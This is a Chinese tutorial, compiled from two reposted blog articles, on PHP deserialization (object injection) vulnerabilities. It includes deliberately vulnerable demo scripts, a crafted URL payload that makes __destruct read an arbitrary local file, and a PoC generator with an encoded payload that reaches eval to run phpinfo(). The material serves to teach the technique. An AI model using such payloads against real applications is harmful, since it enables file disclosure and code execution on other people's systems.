PHP序列化学习(first)
PHP反序列化漏洞学习
serialize:序列化
unserialize: 反序列化
简单解释:
serialize 把一个对象转成字符串形式, 可以用于保存
unserialize 把serialize序列化后的字符串变成一个对象
我们来看一个实例:
<?php class F{ public $filename='a.txt'; } $a = new F(); echo $a->filename.'<br />'; echo serialize($a);
上面例子是创建一个类, 并输出 filename的值 , 最后输出序列化字符串:
关于这一串:
O:1:"F":1:{s:8:"filename";s:5:"a.txt";}
简单解释:
O: 对像, 1 对象名长度, 就是这里的 'F'
s: 字符串
8: 字符串长度, 后面的filename为字符串定义时的名字
详细解释可以百度找资料看, 因为这个不是本文重点。
这里你可以看到, 我代码里的类定义为: class F, 这个序列化就是 F, 我定义变量名字是filename, 它这里也是 filename, 我们可以修改看看:
可以看到序列化后的变量名字变成 filenameF 了。
看下面代码:
<?php class F{ public $filenameF='bcda.txt'; } $a = new F(); echo $a->filenameF.'<br />'; echo serialize($a);
这是另一个代码:
<?php class F{ public $filename='a.txt'; } $a = new F(); echo $a->filename.'<br />'; echo serialize($a);
这两个代码定义的类一样, 只是属性不一样。
当我们用如下代码反序列时:
<?php class F{ public $filename='a.txt'; function __destruct(){ echo '--------------><br />'; } } $a = new F(); echo $a->filename.'<br />'; echo serialize($a); $b = unserialize('O:1:"F":1:{s:9:"filenameF";s:8:"bcda.txt";}'); echo '<br />'.$b->filename; echo '<br />'.$b->filenameF;
可以看到析构函数输出了两次, 说明这两个应是同一个类, 只是 $b 多出了一个属性 filenameF, filename可直常输出, filenameF也可正常输出。
在PHP中, 类被创建或消失后, 都会自动的执行某些函数, 如:
__construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone(), and __autoload()
或自动执行某些方法, 如:
Exception::__toString ErrorException::__toString DateTime::__wakeup ReflectionException::__toString ReflectionFunctionAbstract::__toString ReflectionFunction::__toString ReflectionParameter::__toString ReflectionMethod::__toString ReflectionClass::__toString ReflectionObject::__toString ReflectionProperty::__toString ReflectionExtension::__toString LogicException::__toString BadFunctionCallException::__toString BadMethodCallException::__toString DomainException::__toString InvalidArgumentException::__toString LengthException::__toString OutOfRangeException::__toString RuntimeException::__toString
我们就可以利用这种自动执行某些函数或方法的特性,执行我们相要的操作。
我们创建如下代码:
<?php class F{ public $filename='d:\\phpstudy\\www\\a.txt'; #$filename为public function __destruct(){ $data = readfile($this->filename); echo $data; } } $a = new F(); echo $a->filename.'<br />';
运行时如下所示:
因为 __destruct 析构函数在一个类对象消失时, 会自动执行。 所以上面的代码当运行结束时, 类对象 $a 消失后, 代码会自动执行 __destruct() 函数。
假如我们创建一个如下的测试代码:
<?php class F{ public $filename='d:\\phpstudy\\www\\a.txt'; #$filename为public function __destruct(){ $data = readfile($this->filename); echo $data.'<br />'; } } $a = new F(); echo $a->filename.'<br />'; $b = unserialize($_GET[a]);
这代码中我们用unserialize反序列一个字符串变成一个类对象, 也就是说这个代码中, 会有两个类对象, 一个是$a, 一个是用户可控的$b ($b 中的filename可控, 因为class F中的 filename为public)。
当代码运行结束时, 会运行两个析构函数。 第一次运行的析构函数中, filename为$a中默认的 'd:\\phpstudy\\www\\a.txt', 第二个因为是从$_GET[a]获得字符串, 所以我们可以控制第二个对象中的filename。
从而使得 __destruct 函数可以读取到我们想要读的文件。
下面这个代码中的类跟上面代码的类一样, 不同的地方是我们修改了filename的值, 并生成序列化字符串:
<?php class F{ public $filename='a.txt'; } $a = new F(); $a->filename = 'd:\\phpstudy\\www\\2.txt'; echo serialize($a);
生成的序列化字符串为:
O:1:"F":1:{s:8:"filename";s:21:"d:\phpstudy\www\2.txt";}
再创建一个 2.txt 文件用于测试, 内容为:
password
现在,我们已改变了原来的 filename值,并生成了序列化字符串, 再把它发送到测试代码中去:
http://localhost/11.php?a=O:1:%22F%22:1:{s:8:%22filename%22;s:21:%22d:\phpstudy\www\2.txt%22;}
测试代码除了有对象 $a 外, 还反序列化创建了一个对象 $b, 而这个$b中的属性filename被我们修改了。
最后运行两次 __destruct析构函数时, 一次读取了 a.txt, 另一次读取了 2.txt。
最后总结一下:
<?php include "xxx.php";#此文件中有类定义, 有魔术函数或方法, 且输入参数能被控制 class Classname{ #存在有害魔术函数或方法,且输入参数能被控制 } do something... do something... do something... #存在反序列化函数 unserialize('用户输入有害参数未过滤') do something... do something... do something...
转载 https://www.cnblogs.com/perl6/p/7124345.html ,Perl6
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
PHP反序列化漏洞
反序列化漏洞利用的条件
1、程序中存在序列化字符串的输入点. 2、程序中存在可以利用的魔术方法.
反序列化漏洞的一个简单DEMO
<?php class example { public $handle; function __destruct() { $this->shutdown(); } public function shutdown() { $this->handle->close(); } } class process { public $pid; function close() { eval($this->pid); } } if(isset($_GET['data'])) { $user_data = unserialize(urldecode($_GET['data'])); }?>
可见,process类当中有一个close方法里面有一个eval函数,但是pid不是我们所能控制的。但是在example当中有调用close方法。
可以在example中调用process类,然后在process当中对pid进行赋值然后序列化进而执行eval函数达到命令执行的效果
最终GET POC代码如下。
1 <?php 2 class example 3 { 4 public $handle; 5 function __construct() 6 { 7 $this->handle = new process(); 8 } 9 } 10 class process 11 { 12 public $pid; 13 function __construct() 14 { 15 $this->pid=("phpinfo();"); 16 } 17 } 18 $data = new example(); 19 echo urlencode(serialize($data)) 20 ?>
生成后的payload为(#一定要编码,不编码不行):
O%3A7%3A%22example%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A7%3A%22process%22%3A1%3A%7Bs%3A3%3A%22pid%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D
总结:
OOP不太熟悉还是很容易在一些细节上面写错。
比如
1.在POC构造的那个代码的第7行,是需要new的
2.在引用一个方法的时候是没有$符号的。即$this->pid
3.属性是没有括号的
转载 https://www.cnblogs.com/nul1/p/8647124.html,nul1的文章
为了纠正之前对反序列化的错误认识,附上非常通俗易懂的一篇文章